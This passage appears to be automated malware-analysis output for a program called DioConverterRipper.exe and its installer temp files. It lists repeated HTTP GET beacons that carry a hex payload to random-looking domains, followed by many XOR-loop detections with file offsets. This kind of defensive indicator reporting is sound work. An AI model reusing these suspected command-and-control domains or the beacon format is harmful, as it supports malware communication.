"67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mhbqdbp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mhbqdbp.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: scrcsin.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: scrcsin.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: scrcsin.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: wolefim.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: wolefim.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: wolefim.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqwjuiu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqwjuiu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: fqwjuiu.ruUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: modbdvq.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: ubvzoix.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: xepygkw.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: hchwljv.netUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "/search/" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)" Contains base64 string in header "MSIE" in header "GET /search/?q=67e28dd83e0bf37a405fff1d7c27d78406abdd88be4b12eab517aa5c96bd86e8978345835a8bbc896c58e713bc90c94836b5281fc235a925ed3e03d6bd974a95129070b614e96cc92be20ea778c255bbe258b90d3b4eec3233d1626a8ff819c7ea949e39cb68 HTTP/1.1Host: mugvwji.comUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)"58:T7e11,Found XOR loop in file "DioConverterRipper.exe" at offset 70273; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 150168; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 246052; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 333679; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 568891; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 579799; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 599464; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 618552; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 1020821; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 1537646; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 1731084; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 3102065; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 4562341; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 4591282; code bytes = 30d0 Found XOR loop in file "DioConverterRipper.exe" at offset 89212; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 319234; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 534382; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 661195; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 746550; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1182371; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1184476; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1186760; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1189799; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1191717; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1193906; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1196941; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1199265; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1201795; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1205611; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1207888; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1210296; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1213928; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1215806; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1217755; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 1366521; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 2235962; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 2316144; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 2766977; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 2812582; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 2997746; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 3215934; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 3240480; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 3619923; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 3745920; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 4525917; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 4553074; code bytes = 33c1 Found XOR loop in file "DioConverterRipper.exe" at offset 50528; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 61597; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 85246; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 183590; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 236265; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 356144; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 691349; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 729979; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 730235; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 730491; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 789674; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 792192; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 934233; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 935777; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1194232; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1348642; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1414344; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1478973; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1518338; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 1693228; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 2326435; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 3183212; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 3712699; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 4484827; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 4550498; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 4561023; code bytes = 8030 Found XOR loop in file "DioConverterRipper.exe" at offset 4575363; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 181261; code bytes = 30d0 Found XOR loop in file "is-73UJS.tmp" at offset 420353; code bytes = 33c1 Found XOR loop in file "is-73UJS.tmp" at offset 122873; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 131787; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 134486; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 134568; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 138750; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 138876; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 139333; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 151725; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 153675; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 162622; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 376287; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 399517; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 421397; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 421416; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 421435; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 421460; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 429531; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 546685; code bytes = 8030 Found XOR loop in file "is-73UJS.tmp" at offset 624787; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 181261; code bytes = 30d0 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 420353; code bytes = 33c1 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 122873; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 131787; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 134486; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 134568; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 138750; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 138876; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 139333; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 151725; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 153675; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 162622; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 376287; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 399517; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 421397; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 421416; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 421435; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 421460; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 429531; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 546685; code bytes = 8030 Found XOR loop in file "4681dc1aa40cca6a2ae8afba33654149d2946eeba6bbcb07f1e689df33c72283.tmp" at offset 624787; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 444714; code bytes = 30d0 Found XOR loop in file "is-78JCU.tmp" at offset 538365; code bytes = 30d0 Found XOR loop in file "is-78JCU.tmp" at offset 546239; code bytes = 30d0 Found XOR loop in file "is-78JCU.tmp" at offset 550361; code bytes = 30d0 Found XOR loop in file "is-78JCU.tmp" at offset 551851; code bytes = 30d0 Found XOR loop in file "is-78JCU.tmp" at offset 157651; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 157685; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 277792; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 278413; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 449434; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 451413; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 451861; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 452437; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 452885; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 453621; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 454069; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 454645; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 455093; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 537653; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 541785; code bytes = 33c1 Found XOR loop in file "is-78JCU.tmp" at offset 429880; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 456844; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 469194; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 537140; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 537736; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 543586; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 545420; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 547376; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 549802; code bytes = 8030 Found XOR loop in file "is-78JCU.tmp" at offset 551828; code bytes = 8030 Found XOR loop in file "is-180T2.tmp" at offset 309956; code bytes = 30d0 Found XOR loop in file "is-180T2.tmp" at offset 41648; code bytes = 8030 Found XOR loop in file "is-180T2.tmp" at offset 49254; code bytes = 8030 Found XOR loop in file "is-180T2.tmp" at offset 51268; code bytes = 8030 Found XOR loop in file "is-180T2.tmp" at offset 90306; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 466967; code bytes = 30d0 Found XOR loop in file "is-BUC6S.tmp" at offset 469965; code bytes = 30d0 Found XOR loop in file "is-BUC6S.tmp" at offset 474369; code bytes = 30d0 Found XOR loop in file "is-BUC6S.tmp" at offset 476547; code bytes = 30d0 Found XOR loop in file "is-BUC6S.tmp" at offset 462437; code bytes = 33c1 Found XOR loop in file "is-BUC6S.tmp" at offset 121221; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 142408; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 260425; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 260531; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 336045; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 466852; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 469926; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 474330; code bytes = 8030 Found XOR loop in file "is-BUC6S.tmp" at offset 476508; code bytes = 8030 Found XOR loop in file "is-L1MRP.tmp" at offset 16313; code bytes = 8030 Found XOR loop in file "is-L1MRP.tmp" at offset 16823; code bytes = 8030 Found XOR loop in file "is-L1MRP.tmp" at offset 378640; code bytes = 8030 Found XOR loop in file "is-L1MRP.tmp" at offset 381369; code bytes = 8030 Found XOR loop in file "is-L1MRP.tmp" at offset 381535; code bytes = 8030 Found XOR loop in file "is-GUR7G.tmp" at offset 350913; code bytes = 30d0 Found XOR loop in file "is-GUR7G.tmp" at offset 59878; code bytes = 33c1 Found XOR loop in file "is-GUR7G.tmp" at offset 60499; code bytes = 33c1 Found XOR loop in file "is-GUR7G.tmp" at offset 346161; code bytes = 33c1 Found XOR loop in file "is-GUR7G.tmp" at offset 347215; code bytes = 33c1 Found XOR loop in file "is-GUR7G.tmp" at offset 182674; code bytes = 8030 Found XOR loop in file "is-GUR7G.tmp" at offset 284274; code bytes = 8030 Found XOR loop in file "is-GUR7G.tmp" at offset 289548; code bytes = 8030 Found XOR loop in file "is-GUR7G.tmp" at offset 301898; code bytes = 8030 Found XOR loop in file "is-GUR7G.tmp" at offset 350908; code bytes = 8030 Found XOR loop in file "is-2IO80.tmp" at offset 265642; code bytes = 30d0 Found XOR loop in file "is-2IO80.tmp" at offset 340301; code bytes = 30d0 Found XOR loop in file "is-2IO80.tmp" at offset 5443; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 13443; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 13477; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 125142; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 125763; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 255338; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 257397; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 257845; code bytes = 33c1 Found XOR loop in file "is-2IO80.tmp" at offset 258421; code bytes = 33c1 Found XOR 